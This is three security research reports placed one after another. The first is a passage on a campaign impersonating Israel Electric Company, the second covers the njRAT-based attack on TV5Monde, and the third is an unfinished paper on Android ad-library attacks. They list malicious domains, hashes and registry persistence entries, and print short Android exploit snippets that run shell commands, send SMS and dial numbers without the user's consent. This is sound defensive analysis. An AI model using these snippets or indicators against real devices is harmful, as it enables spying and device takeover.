When clicked, it would redirect to iecr[.
]co/info/index_info.php .
We do not know what was the content in the final URL.
We estimate that it served malware.
The domain iecr[.
]co was used as a command and control server for other malware in this campaign.
Another URL,   http://ynetnewes[.
]com/resources/assets/downloads/svchost.exe hosted a malware file called program_stream_film_for_watch.exe.
(
d020b08f5a6aef1f1072133d11f919f8) Fake Facebook profile  Linda Santos One of the above mentioned malicious URLs was spread via comments by a fake Facebook profile  Linda Santos (no longer available): In September 2016, the fake profile commented to posts by Israel Electric Company: 3/13 https://goo.gl/analytics/goo.gl/zxhJxu/all_time https://www.virustotal.com/en/file/6909674a3af0960675ca6184d890e0b294da4c66b9e512b35112474f58a4c900/analysis/ https://www.facebook.com/profile.php?id100012012675632 4/13 The profile had dozens of friends, almost all were IEC employees: 5/13 http://www.clearskysec.com/wp-content/uploads/2017/03/IEC2.jpg The fake profile was following only three pages, one of which was the IEC official page: Pokemon Go Facebook page In July 2016, when mobile game Pokemon Go was at the peak of its popularity, the attackers created a Facebook page impersonating the official Pokemon Go page: The page, which is no longer available, had about one hundred followers  most were Arab Israelis and some were Jewish Israelis.
Only one post was published, with text in English and Hebrew.
Grammatical mistakes indicate the attackers are not native to both languages: 6/13 https://www.facebook.com/Pokemon-Go-1683341815318370/ The post linked to a malicious website hosted in yolasite.com (which is a legitimate website building and hosting platform): pokemonisrael.yolasite[.
]com The button         (literal translation  To download phone and computer) linked to a zip file in another website: 7/13 http://www.clearskysec.com/wp-content/uploads/2017/03/pokemonisrael.yolasite.com_.jpg http://iec-co-il[.
]com/iec/electricity/Pokemon-PC.zip Note that the domain being impersonated is that of Israel Electric Companys website (iec.co.il).
Pokemon-PC.zip (40303cd6abe7004659ca3447767e4eb7) contained Pokemon-PC.exe (e45119a72677ed15ee0f04ef936a9803), which at run time drops monitar.exe (d3e0b129bad263e6c0dcb1a9da55978b): Android phone malware The attackers also distributed a malicious app for Android devices  pokemon.apk (3137448e0cb7ad83c433a27b6dbfb090).
This malware also had characteristics that impersonate IEC, such as the package name: The application is a dropper that extracts and installs a spyware.
The dropper does not ask for any permission during installation: However, when the spyware is installed,  it asks for multiple sensitive permissions: The victim ends up with two applications installed on their device.
The Dropper, pretending to be a Pokemon Go app, adds an icon to the phone dashboard.
However, it does not have any functionality, and when clicked, this error message is displayed: Error 505 Sorry, this version is not compatible with your android version.
The dropper does not really check what android version is installed: 8/13 https://www.virustotal.com/en/file/e5f3adf2e7d34a23f37e4ed754fd57f23d40f0bf67b12c6b9f854195362a75ab/analysis/ https://www.virustotal.com/en/file/0ab1b7eeffdaeb0d554a6378e09728fed6cf8cb22b8e797e1570ec01843ab83b/analysis/ https://www.virustotal.com/en/file/3a36bee1411da9ce3fd5a287ce43e8943e4b1fc5abe62926a0a3a9db9a4f2ee9/analysis/ https://www.virustotal.com/en/file/329c764c75e3cc257f25c5ae7b44fa9b0dcd8cada12f23e44a789d26c90e04df/analysis/ The message is intended to make the victim believe that the Pokemon game does not work because of compatibility issues.
The victim is likely to uninstall the application at this point.
However, because a second application was installed, the phone would stay infected unless it is uninstalled as well.
9/13 Websites for Malware distribution Malware was also hosted in legitimate breached Israeli websites, such as this educational website: http://www.bagrut3.org[.
]il/upload/edu_shlishit/passwordlist.exe (defc340825cf56f18b5ba688e6695e68) and a small law firms website: http://sheinin[.
]co.il/MyPhoto.zip (650fcd25a917b37485c48616f6e17712) In journey-in-israel[.
]com, the attackers inserted an exploit code for CVE-2014-6332  a Windows code execution vulnerability.
The exploit was copied from an online source, likely from here, as the code included the same comments.
The website also hosted this malware: afd5288d9aeb0c3ef7b37becb7ed4d5c.
In other cases, the attackers registered and built malicious websites: users-management[.
]com and sourcefarge[.
]net (similar to legitimate software website sourceforge.net).
The latter was redirecting to journey- in-israel[.
]com and iec-co-il[.
]com in May and July 2016, according to PassiveTotal: Sample 24befa319fd96dea587f82eb945f5d2a, potentially only a test file, is a self-extracting archive (SFX) that contains two files: a legitimate Putty installation and link.html: When run, while putty is installed, the html file is opened in a browser and redirects to http://tinyurl[.
]com/jerhz2a and then to http://users-management[.
]com/info/index_info.php?id9775.
The last page 302 redirects to the website of an Israeli office supply company Mafil: 10/13 https://www.virustotal.com/en/file/15b5fb226689fdddc04c3e6ddeb84e3aae4ce009cc4c95f6fa68045033ca905f/analysis/ https://www.virustotal.com/en/file/9631d1574b11217ecdaa496696f25027a0fae7d83f4c3c1d71c2bf0dcbf9ea1e/analysis/1480916388/ https://gist.github.com/worawit/84ab41358b8465966224 https://www.virustotal.com/en/file/09c4bd14f67ad09dd3a6cc7aea3dad824732b0837a82bae03db7b3b98cfe2cbd/analysis/ https://passivetotal.org/search/sourcefarge.net https://www.virustotal.com/en/file/641275b120a014ef8534ead47d2f68ea96f62ab04c779dc57608109998afd9b6/analysis/ Sample f6d5b8d58079c5a008f7629bdd77ba7f , also a self-extracting archive, contained a decoy PDF document and a backdoor: The PDF, named IEC.pdf, is a warranty document taken from Mafils public website.
It is displayed to the victim while the malware (6aeb71d05a2f9b7c52ec06d65d838e82) is infecting its computer: Windows Malware The attackers developed three malware types for Windows based computers: 11/13 https://www.virustotal.com/en/file/79081e664393cad10c1f93835fd29fa36071e216b6e43bdc8f9650ef3eeae671/analysis/ https://www.virustotal.com/en/file/214bc5cde615305d5c0187581cbb3fcc8bbaab0f7cbfce424ea891f0b2cba79a/analysis/ Dropper  self-extracting archives that extract and run the backdoor, sometimes while opening a decoy PDF document or website.
(
For example: 6fa869f17b703a1282b8f386d0d87bd4) Trojan backdoor / downloader   malware that collects information about the system and can download and execute other files.
(
909125d1de7ac584c15f81a34262846f) Some samples had two hardcoded command and control servers: iecrs[.
]co and iecr[.
]co (note once again the use of IEC in the domain name).
Keylogger / screen grabber  records keystrokes and takes screenshots.
The malware file is compiled Python code.
(
d3e0b129bad263e6c0dcb1a9da55978b) An analysis of the malware and other parts of the campaign was published by Mcafee in on November 11, 2016.
The latest known sample in this campaign (7ceac3389a5c97a3008aae9a270c706a) has compilation timestamp of February 12, 2017.
It is dropped when pdf file products israel electric.exe (c13c566b079258bf0782d9fb64612529) is executed.
Attribution In a report that covers other parts of the campaign, Mcafee attribute it to Gaza Cybergang (AKA Gaza Hacker Team AKA  Molerats).
However, the report does not present strong evidence to support this conclusion.
While initially we thought the same, currently we cannot relate Operation Electric Powder to any known group.
Moreover, besides Mohamad potentially being the name of the malware developer (based on PDB string found in multiple samples:  C:\Users\Mohammed.
MU\Desktop\AM\programming\C\tsDownloader\Release\tsDownloader.pdb ), we do not have evidence that the attackers are Arabs.
Indicators of compromise Indicators file:  Operation-Electric-Powder-indicators.csv (also available on PassiveTotal).
Notably, all but one of the IP addresses in use by the attackers belong to German IT services provider Accelerated IT Services GmbH (AS31400): 84.200.32.211 84.200.2.76 84.200.17.123 84.200.68.97 82.211.30.212 82.211.30.186 82.211.30.192 Florian Roth shared a Yara rule to detect the downloader: Operation-Electric-Powder-yara.txt The graph below depicts the campaign infrastructure (click the image to see the full graph): 12/13 https://www.virustotal.com/en/file/3a36bee1411da9ce3fd5a287ce43e8943e4b1fc5abe62926a0a3a9db9a4f2ee9/analysis/ https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26760/en_US/McAfee_Labs_Threat_Advisory_GazaCybergang.pdf https://www.virustotal.com/en/file/21023f43749e1efa394eeaa486a5cd332d64cabc9bb28a1640a252fd43062384/analysis/ https://www.virustotal.com/en/file/4961761f7768a802f2023523b73ed60bd178487177f72b58f9284632ae5e3bd2/analysis/ https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26760/en_US/McAfee_Labs_Threat_Advisory_GazaCybergang.pdf http://www.clearskysec.com/wp-content/uploads/2017/03/Operation-Electric-Powder-indicators.csv https://www.passivetotal.org/projects/e37b0fb0-e207-35a7-c0d6-ae7df39c0708 https://www.bsk-consulting.de/author/venom23/ http://www.clearskysec.com/wp-content/uploads/2017/03/Operation-Electric-Powder-yara.txt Live samples can be downloaded from the following link: https://ln.sync[.
]com/dl/30e722bf0f72zgiwk-zxcp3e9t-fa9jyakr-zpbf5hgg (Please email infoclearskysec.com to get the password.)
Acknowledgments This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research.
13/13 http://www.clearskysec.com/wp-content/uploads/2017/03/Electric-powder-maltego.jpg https://www.passivetotal.org/ https://shadowdragon.io/ Operation Electric Powder  Who is targeting Israel Electric Company?
Impersonating Israeli newssite Fake Facebook profile Linda Santos Pokemon Go Facebook page Android phone malware Websites for Malware distribution Windows Malware Attribution Indicators of compromise Acknowledgments
Tech Report Targeted attack on Frances TV5Monde May 05, 2015 Tabel of Content Introduction ...................................................................................................................................................... 3 Attack Outline .................................................................................................................................................. 3 Findings 1: Njrat and Njworm, based in the Middle East .......................................................................... 6 Findings 2: Source code generator and generation process ................................................................... 7 Findings 3: VB script backdoor ................................................................................................................... 9 Conclusion ..................................................................................................................................................... 12 Introduction Increasingly, cyberattacks targeting various industrial sectors are directed towards prominent institutions.
In a recent incident reported on April 8, 2015, TV5 Monde, one of Frances largest global television networks was attacked by hackers, resulting in the disruption of eleven TV5 Mondes channels.
According to TV5 Monde, a hacker group claiming to be linked to the Islamic State Group executed the attack.
This report analyzes the malwares used in the targeted attack against TV5 Monde in France.
Attack Outline At 10 pm on April 8, 2015, TV5 Monde fell victim to a cyberattack by Islamic fundamentalist hacker group, Cyber Caliphate, which claims to be linked to the Islamic State of Iraq and Syria (ISIS).
Back in January 2015, this group hacked into the official Twitter account of the United States Central Command.
In this incident, 11 programme broadcasts of TV5 Monde channels were disrupted for 3 hours as the hacker group breaches the Networks internal systems and overriding the digital broadcast system.
The hacker group also took control of the Networks administrative systems making emails inaccessible.
The Networks social media accounts and website were not spared.
The Networks Facebook account was hacked, and made to display images of ISIS.
[
Figure 1] French newspaper article on TV5Monde attack Complete details on the attack are still uncertain, but the Networks soft approach to security was exposed on live television.
[
Figure 2] Live television displays usernames and passwords on wall A live interview with a reporter the next day of the attack displayed usernames and passwords written on post-it notes.
One of the post-it notes revealed the networks passwords for YouTube.
Twitter user pent0thal confirmed that the password was lemotdepassedeyoutube, which translates in English to the password of YouTube.
[
Figure 3] Another password spotted The same user, pent0thal, discovered another password in a publicly broadcasted segment of the news, which can be seen above.
TV5Mondes negligent approach to security, like writing account information on notepads pasted on walls, may have contributed to the hacking incident.
On April 9, 2015, Blue Coat, a security vendor, released a press statement on the TV5Monde attack.
[
Figure 4] Press statement by Blue Coat (Source: Blue Coat Blog) According to this statement, the malware used in the TV5 Monde attack is a variant of Njworm that is popular in the Middle East.
Findings 1: Njrat and Njworm, based in the Middle East A Kuwaiti, known by the alias njq8, created NjRAT and Njworm.
A simple search on the web shows that there are numerous online video tutorials in the Arabic language sharing knowledge on executing and exploiting with njRAT and Njworm.
This level of knowledge sharing and support is making the backdoor malware popular among attackers in the Middle-East region.
[
Fig, 5] Video tutorial in the Arabic language (Source: www.youtube.com/watch?vsKtoONku1w0) Many variants of this malware have been found ever since the source code was disclosed in May 2013.
A C source code generator was even uploaded on an Arabic developers site on December 8, 2014.
With the increase in threats involving this malware, Microsoft Malware Protection Center (MMPC) took down the NjRAT and Njworm malware families in June 2014.
These malware families are believed to have been created by Kuwaiti, Naser Al Mutairi, aka njq8, and Algerian, Mohamed Benabdellah, aka Houdini.
There is also VB source code generators.
The VBS codes are slightly different as compared to the C source code generator, but it performs the same action  stealing personal information and acting as a backdoor.
When the VB source code generator runs, the attacker must enter the port number, and specify the host address, name, directory and installation name.
The output files created could be slightly different.
Findings 2: Source code generator and generation process Lets take a look at how some source code generators work.
1.
Source Code Generator 1 When you execute the generator, a window to set the port will appear.
Then, a message stating the port is successfully connected will appear as below.
[
Figure 6] Port connected If you right-click on the white bar on the message above, a window will appear to send commands.
The command types are divided into w0rm, Computer, Run and Options, and you can send various commands based on the command type.
[
Figure 7] Command window After selecting a command, and clicking Builder, a window to initialize the IP and port will appear.
You can specify the host, port, name and install name, and select one of the six directories.
[
Figure 8] Generating source codes through Builder 2.
Source Code Generator 2 Let us take a look at another source code generator.
When you open the generator, a window to enter the port number as in [Figure 9] and a window to specify a few settings as in [Figure 10] will appear.
[
Figure 9] Home screen for Source Code Generator 2 [Figure 10] Settings page The command type is simpler.
The options are only Run File, VBS Code and Uninstall Worm.
[
Figure 11] Command window You can specify the host, port, name and install name.
The Spread File Name and directory has been modified.
[
Figure 12] Settings page for Source Code Generator 2 The biggest difference between the two source code generators is the process to verify whether the environment is a virtual environment or physical environment.
Source Code Generator 1 does not include a function to verify the environment.
On the other hand, Source Code Generator 2 offers vmcheck() function at the beginning of the exploit codes, where if it is verified that the environment is verified as virtual, the exploit code jumps to a process that immediately deletes the VBS file and terminates.
Findings 3: VB script backdoor The malware used in TV5Monde attack is a VBS (Visual Basic Script) malware created with one of these source code generators.
It steals personal information and allows remote control, and performs the following actions: 1.
Create files C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\SecurityNajaf.vbs C:\Documents and Settings\Administrator\LocalSettings\Temp\(Original).vbs 2.
Enable auto-run via Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SecurityNajaf wscript.exe //B SecurityNajaf.vbs HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityNajaff wscript.exe //B SecurityNajaf.vbs 3.
Communicate with CC server The scripts are divided into initialization codes and backdoor codes.
The initialization codes contain install name, IP and port details.
[
Figure 13] Initialization codes The backdoor codes define the action of the commands sent to the CC server.
[
Figure 14] Remote command execution codes This malware not only acts as a backdoor, but also steal user information that includes user name, computer name, volume serial number and Windows version.
[
Figure 15] System information extraction codes The originating address of the detected malware was the malware itself, so it is determined and highly possible that it was created for testing.
Conclusion AhnLab has investigated the malware that seized control of Frances TV5Monde and disrupting the broadcast of 11 TV5Mondes channels.
Television networks are the perfect targets for cyber-attacks intended for political reasons and it has been proven possible for attackers to take control of the television broadcast.
Television broadcast companies have an immediate need to reinforce security and take targeted attacks seriously.
Malware that are widely used in specific countries or regions could be executed as political attacks, so it is also important to be up-to-date about these malware.
References French TV station TV5Monde hit by Islamic State hack www.dailymail.co.uk/wires/afp/article-3031644/French-TV5Monde-hitpro-Islamic-State-hackers.html Simple njRAT Fuels Nascent Middle East Cybercrime Scene www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middleeast-cybercrime-scene New RATs Emerge from Leaked Njw0rm Source Code http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-fromleaked-njw0rm-source-code www.eff.org/files/2013/12/28/quantum_of_surveillance4d.pdf http://www.lemonde.fr/pixels/article/2015/04/09/les-sites-de-tv5-monde-detournes-par-un-groupe- islamiste_4612099_4408996.html www.cnbc.com/id/102330338 https://twitter.com/pent0thal www.bluecoat.com/security-blog/2015--04-09/visual-basicscript-malware-reportedly-used-tv5-monde-intrusion www.youtube.com/watch?vsKtoONku1w0 https://jomgegar.com/topic/14665-njrat-v07dbuilderstub-fullsource-code/ http://blogs.technet.com/b/mmpc/archive/2014/06/30/microsoftdigital-crimes-unit-disrupts-jenxcus-and-bladabindi- malware-families.aspx http://blogs.microsoft.com/blog/2014/06/30/microsoft-takes-onglobal-cybercrime-epidemic-in-tenth-malware-disruption/ AhnLab, Inc. www.ahnlab.com 2015 AhnLab, Inc. All rights reserved.
Reproduction and/or distribution of a whole or part of this document without prior written permission from AhnLab are strictly prohibited.
http://www.ahnlab.com/
SECURITY REIMAGINED REPORT SIDEWINDER TARGETED ATTACK AGAINST ANDROID IN THE GOLDEN AGE OF AD LIBRARIES 2  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android CONTENTS Introduction ............................................................................................................................................................................................................................................................................................................................................... 3 Sidewinder Targeted Attack Overview ............................................................................................................................................................................................................................3 Warhead: Attacking Vulnerabilities of Android .......................................................................................................................................................................................5 Piercing The Armor ................................................................................................................................................................................................................................................................................................ 5 Detonation without Android Context ...................................................................................................................................................................................................................7 Detonation with Android Context ..................................................................................................................................................................................................................................8 Targeting Victims Based on Ad Traffic ........................................................................................................................................................................................................................... 11 Communication Channels Prone to Hijack .........................................................................................................................................................................................11 Information Leakage from Ad Libraries ...................................................................................................................................................................................................... 11 Large-scale Monitoring and Precise Hijacking ..........................................................................................................................................................................12 Targetable and Exploitable Google Play Apps  ........................................................................................................................................................................................13 Conclusion ................................................................................................................................................................................................................................................................................................................................................ 20 3  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android Introduction By 2014, the number of Android users has grown to 1.1 billion and the number of Android devices has reached 1.9 billion1.
At the same time, enterprises are also embracing Android- based Bring Your Own Device (BYOD) solutions.
For example, in Intels BYOD program, there are more than 20,000 Android devices across over 800 combinations of Android versions and hardware configurations2.
Although little malware has been found in Google Play, both Android apps and the Android system itself contain vulnerabilities.
Aggressive ad libraries also leak the users private information.
By leveraging all these vulnerabilities, an attacker can conduct more targeted  attacks, which we call Sidewinder Targeted Attacks.
In this paper we explain the security risks from such attacks, in which an attacker can intercept and use private information uploaded from ad libraries to precisely locate targeted areas such as a CEOs office or specific conference rooms.
When the target is identified, a Sidewinder Targeted Attack exploits popular vulnerabilities in ad libraries, such as Javascript-binding-over-HTTP  or  dynamic- loading-over-HTTP,  etc.
It is a well-known challenge for an attacker to call Android services from injected native code that doesnt have Android application context.
Here, we explain how attackers can invoke Android services for tasks including taking photos, calling phone numbers, sending SMS, reading from/ writing to the clipboard, etc.
Furthermore, the attackers can exploit several Android vulnerabilities to get valuable private information or to launch more advanced attacks.
Finally, we show that this threat is not only real but also prevalent due to the popularity of Android ad libraries.
We hope this paper kickstarts the conversation on how to better protect the security and privacy in third-party libraries and how to further harden the Android security framework in the future.
Sidewinder Targeted Attack Overview To understand the security risks brought by a Sidewinder Targeted Attack, we first explain one possible attack mechanism (illustrated in Figure 1) that is similar to that of Sidewinder missiles.
The attacker can hijack the network where the targeted victim resides.
Like an infrared homing system, the attacker then seeks emission from ad libraries running on the target device to track and lock on it.
Once the target is locked on, the attacker can launch advanced persistent attacks.
To minimize detection chances, the attacker can choose to take action on important targets only, ignoring all other devices.
In later sections, we discuss attacking (warhead) and targeting (homing) components in detail and show how a combination of these components can launch powerful and precise attacks on target devices.
Table 1 proposes different attacks that an attacker can launch remotely on target devices through vulnerable ad libraries.
Figure 2 shows a proof-of-concept attack control interface.
This attack targets one of the ad libraries described in this paper.
The security risks become obvious by looking at what the attacker can do with this control interface.
The left panel enables the attacker to command the victims device, 1 Ranjit Atwal, Lillian Tay, Roberta Cozza, Tuong Huy Nguyen, Tracy Tsai, Annette Zimmermann, and CK Lu.
Forecast: Pcs, ultramobiles and mobile phones, worldwide, 2010-2017, 4q13 update.
Gartner, 2013.
2 Rob Evered, Steve Watson, Paul Dockter, and Derek Harkin.
Android devices in a byod environment.
Intel White Paper, 2013.
4  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android including uploading local files, taking pictures, recording audio/video, manipulating the clipboard, sending SMS, dialing numbers, implanting bootkit, or installing the attackers apps uploaded to Google Play, etc.
The right panel lists all information stolen from the victims device.
In this screenshot, the victims installed app list, clipboard, a photo taken from the back camera, an audio clip, and a video clip have been uploaded, with the GPS location intercepted from the ad library.
The panel also pins down the GPS location of the victims device onto a Google Map widget.
Figure 1: Illustration of the Sidewinder Targeted Attack Scenario Table 1: Outline of the Sidewinder Targeted Attack through Vulnerable Ad Libraries Attackers Server Actual Ad Server Device A Device B Device Victim Attack Overview Info uploaded from ad libs Serving Normal ad Injecting attack payload Comman  Control 31.08 68.92 51.04 48.96 API Level  API 16  API 16 Attack Vector JBOH and DLOH JS Sidedoor Attacks (w/ Android Context ) Clipboard manipulation Launcher settings modification Proxy modification Taking pictures Audio video recording Stealthy app installation (w/o Android Context ) Local files uploading Root exploit  Code injection Implanting bootkit Sending SMS Making phone calls Abusing privileged interfaces 5  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android Warhead: Attacking Vulnerabilities of Android Piercing The Armor In this section, we explain in more detail the risks of remote attacks on the Android devices.
Attacking JavaScript Binding over HTTP (JBOH) Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the apps Java methods (also known as the Javascript bridge).
However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android API 16 (Android 4.1) or below.
As noted by Google: Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.3 In particular, if an app running on Android API 16 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, an attacker over the network could hijack the HTTP traffic (e.g., through WiFi or DNS hijacking) to inject malicious content into the WebView and to control the host application.
Listing 1 is a sample Javascript snippet to execute shell command.
Figure 2: The control panel of the attacker, and the files uploaded from the victim Based on this precise position information, it is easy to identify individuals or groups of VIP targets by which offices they are in.
3 http://developer.android.com/reference/android/webkit/WebView.html addJavascriptInterface(java.lang.
Object,20java.lang.
String).
6  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android Figure 3: Target SDK statistics of popular Google Play apps We call this the  JavaScript-Binding-Over-HTTP (JBOH)  vulnerability4.
This applies to insecure HTTPS channels as well.
If an app containing such vulnerability has sensitive Android permissions such as access to the camera, a remote attacker could exploit it to perform sensitive tasks such as taking photos or recording video, over the Internet, without consent.
Based on the official data in June 20145, 60 of Android devices are still running API16.
Note that API16 platforms are not necessarily secure.
If the app is targeting at a lower API level, Android will still run it with the lower API level for compatibility reasons.
Figure 3 shows the targeted API of popular Google Play apps, each of which has over 50,000 downloads.
We can see that a large portion of apps are targeting at API16.
Attacking Annotated JavaScript Binding Interfaces Starting with Android 4.2 (API16), Google introduced the JavascriptInterface anno- tation6 to explicitly designate and restrict which public Java methods in the app were accessible from JavaScript running inside a WebView.
However, if an ad library uses the JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, it is vulnerable to attacks where an attacker over the network could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation.
We call these exposed JS binding annotation interfaces JS Sidedoors.
For example, we  found a  list  of sensitive Javascript  interfaces that are  publicly  ex- posed from certain versions of a real-world ad library: (a) Statistics by app number (b) Statistics by app download count Listing 1: Sample Javascript snippet to execute shell command jsObj.getClass().forName(java.lang.
Runtime) .getMethod(getRuntime,null).invoke(null,null).exec(cmd) 4 http://www.fireeye.com/blog/technical/2014/01/js-binding-over-http- vulnerability-and-javascript-sidedoor.html.
5 https://developer.android.com/about/dashboards/index.html.
6 http://developer.android.com/reference/android/webkit/ JavascriptInterface.html.
31.08 68.92 51.04 48.96 API 16 API 16 API 16 API 16 7  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android createCalendarEvent, makeCall, postToSocial, sendMail, sendSMS, takeCameraPicture, getGalleryImage, registerMicListener, etc4.
Given that this ad library loads ads using HTTP, if the host app has the corresponding permissions (e.g., CALL PHONE), attackers over the network can abuse these interfaces to do malicious things (e.g., utilizing the makeCall interface to dial phone numbers without the users consent).
Security Issues with DEX Loading over HTTP (DLOH) Similar to JBOH, DEX loading over HTTP or insecure HTTPS (DLOH) is another serious issue raised by ad libraries.
If the attackers can hijack the communication channels and inject malicious DEX files, they can then control the behaviors of the victim apps.
Detonation without Android Context After getting local access, the attacker can upload private and sensitive files from the victims device, or modify files that the host app can write to (e.g., the directory of the host app and SD Card with FAT file system).
To launch more sophisticated attacks like sending SMS or taking pictures, the attackers may use Java reflection to call other APIs from the Javascript bridge.
It appears this method makes sending SMS easy.
However,  some other operations require Android context 7 or registering Java callbacks.
Android context provides an interface to the global information about an apps environment.
Many Android functionalities, especially remote call invocations, are encapsulated in the context.
We discuss attacks requiring context in a later section.
In this section, we explain attacks that dont need Android context, and discuss their security risks.
Root Exploits and Code Injection One direct threat posed by JBOH is to use the JBOH shell (Listing 1) to download exe- cutables and use them to root the device.
Commercial one-touch root apps claim they can root more than 1,000 brands (20,000 models) 8.
towelroot9, which exploits a bug found recently in Linux kernel, claims that it can root most new devices released before June 2014.
Thus, as long as attackers can get the JBOH shell, they have the tools to obtain root on most Android phone models.
Even if the attackers cant obtain root, they can attempt ptrace10 to control the host app.
Although only processes  with  root  privilege  can ptrace  others,  child  processes are  able  to ptrace  their  parents.
Because the  shell launched  from  the  Javascript  bridge  is a child process of the host app, it can ptrace the host apps process.
Note that only apps with android:debuggable set as true in the manifest can be ptraced, which limits its adoption.
Sending SMS and Dialing Numbers without User Consent Sending SMS does not require context or user interaction.
A simple call does the job, as shown in Listing 2 Listing 2: Sending SMS without user consent SmsManager.getDefault().sendTextMessage(phoneNumber,null,message,null,null) 7 http://developer.android.com/reference/android/content/Context.html.
8 http://shuaji.360.cn/root/.
9 http://towelroot.com/.
10 http://linux.die.net/man/2/ptrace.
8  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android To make calls from the Javascript bridge without user consent, we can invoke the telephony service to dial numbers directly via binder, as shown in Listing 3, where phone is the remote Android telephony service and the number 2 represents the second remote call.
s16 is the type marker represents 16 bit string, and packageName is the host apps package name, where we can obtain from the information posted from the ad libraries.
The sequence number of the remote calls can be found in the corresponding Android Interface Definition Language (AIDL) files11.
Many other Android services can be invoked in the same way, including sending SMS Detonation with Android Context As mentioned, it is more convenient to directly obtain the Android context via the Javascript bridge.
Code in Listing 4, for example, is an easy way to get context from anywhere of the application.
Operations like taking pictures and recording videos need to register Java callbacks.
The attackers either need to boot a Java VM from the Javascript bridge, or to inject code into the host apps Java VM.
Fortunately, Android Runtime offers another way to load Java Native Interface (JNI) code into the host app using Runtime.load().
As shown in Listing 5, an attacker can load executables compiled from JNI code.
Once loaded, the code can obtain context as described in Listing 4, or call DexClassLoaderload12 to inject new classes from the attackers DEX files to register callbacks to take pictures/ record videos.
Listing 3: Dial numbers without user consent Listing 4: Sample code to obtain context Runtime.getRuntime() .exec(service call phone 2 s 16  packageName  s16  phoneNumber) // We omit all trycatch statements and other unimportant code in this paper public ContextgetContext() finalClass?activityThreadClassClass .forName(android.app ActivityThread) finalMethodmethodactivityThreadClass .getMethod(currentApplication) return(Application)method.invoke(null,(Object[])null)  11  http://developer.android.com/guide/components/aidl.html.
12 http://developer.android.com/reference/dalvik/system/DexClassLoader.
html.
9  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android There are other ways to obtain Android context, like reflecting to the private static context variable of WebView13.
However, without Java VM instances, its difficult to take pictures and record videos.
After our submission to Black Hat in April 2014, we noticed that MWR was also concurrently and independently working on this issue.
They published a similar mechanism in June 201414.
Clipboard Monitoring nd Tampering With the Android context, an attacker  can monitor  or  tamper  with the  clipboard.
Android users may perform copy-paste on important text content.
For example, there are many popular password-management apps in Google Play, enabling the users to click-and-copy passwords and paste them into login forms.
Malicious apps can steal the passwords if they can read the contents on clipboard.
Android has no permissions restricting apps from accessing the global clipboard.
Any UID has the capability to manipulate clipboard via the API calls in Listing 6: Using these APIs, the attackers can monitor changes to a clipboard and transfer the clipboard contents to some remote server.
They can also alter the clipboard content to achieve phishing goals.
For example, the user may copy a link to visit and the background malicious service can change that link to a phishing site.
We have notified Google about this issue.
Launcher Settings Modification Android Open Source Project  (AOSP)  classifies Android  permissions  into  several  protec- tion levels: normal,dangerous, system, signature and development15,16,17.
Dangerous permissionsmay be displayed to the user and require confirmation before pro- ceeding, or some other  approach  may  be  taken  to  avoid the  user  automatically  allowing the use of such facilities.
In contrast, normal permissions are automatically granted at installation, without asking for the users explicit approval (though the user always has the option to review these Listing 5: Sample Javascript snippet to load JNI binary into the host apps Java VM Listing 6: API calls to peek into/ tamper with the clipboard jsObj.getClass().forName(java.lang.
Runtime) .getMethod (getRuntime,null).invoke(null,null).load(binaryPath ) ClipboardManager.getText() ClipboardManager.hasPrimaryClip() ClipboardManager.setText() Clipboard Manager.setPrimaryClip() ClipboardManager.hasText() ClipboardManager.addPrimaryClipChangedListener() ClipboardManager.getPrimaryClip() 13  http://www.weibo.com/p/1001603724694418249344?utm_sourceweibolife.
14 https://labs.mwrinfosecurity.com/blog/2014/06/12/putting-javascript- bridges-into-android-context.
15  http://developer.android.com/guide/topics/manifest/permission-element.html.
16  https://android.googlesource.com/platform/frameworks/base//master/ core/res/AndroidManifest.xml.
17 https://android.googlesource.com/platform/packages/apps/Launcher2// master/AndroidManifest.xml.
10  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android permissions before installing)15.
If an app requests both dangerous permissions and normal permissions, Android only displays the dangerous per- missions by default.
If an app requests only normal permissions, Android doesnt display any permission to the user.
We have found that certain normal permissions have dangerous security impacts18.
For example, the attackers can manipulate Android home screen icons using two normal permissions: launcher READ SETTINGS and WRITE SETTINGS permissions.
These two permissions enable an app to query, insert, delete, or modify all launcher configuration settings, including icon insertion or modification.
As a proof-of-concept attack scenario, a malicious app with these two permissions can query/insert/ alter the system icon settings and modify legitimate icons of some security- sensitive apps, such as banking apps, to a phishing website.
After our notification, Google has patched this vulnerability in Android 4.4.3 and has released the patch to its OEM partners.
However, according to Google5, by 7 July 2014, 17.9 Android devices are using Android 4.4.
Given that Android 4.4.2 and below has this vulnerability, over 82.1 Android devices are vulnerable.
Proxy  Modification With  the  CHANGE WIFI STATE  permission, Android  processes  can  change  the  proxy settings of WIFI networks (not solely the currently connected one).
To do this, the attacker can use the remote calls exposed by WifiManager to obtain the WifiConfiguration objects, then create new proxySettings to replace to a corresponding field.
Note that the proxySettings field is a private Java field not intended to be accessed by other processes.
Unfortunately, the flexible and powerful Java reflection mechanism (especially the forName(), getField(), setAccessible() calls) exposes such components to the attackers for arbitrary read or write operations.
Taking Pictures and Recording Audio/Video without User Interaction Android audio recording via the MediaRecorder APIs does not need user interaction or consent, which makes it easy to record sound in the background.
On the contrary, taking pictures and recording videos are more challenging.
First, this requires registering Java callbacks.
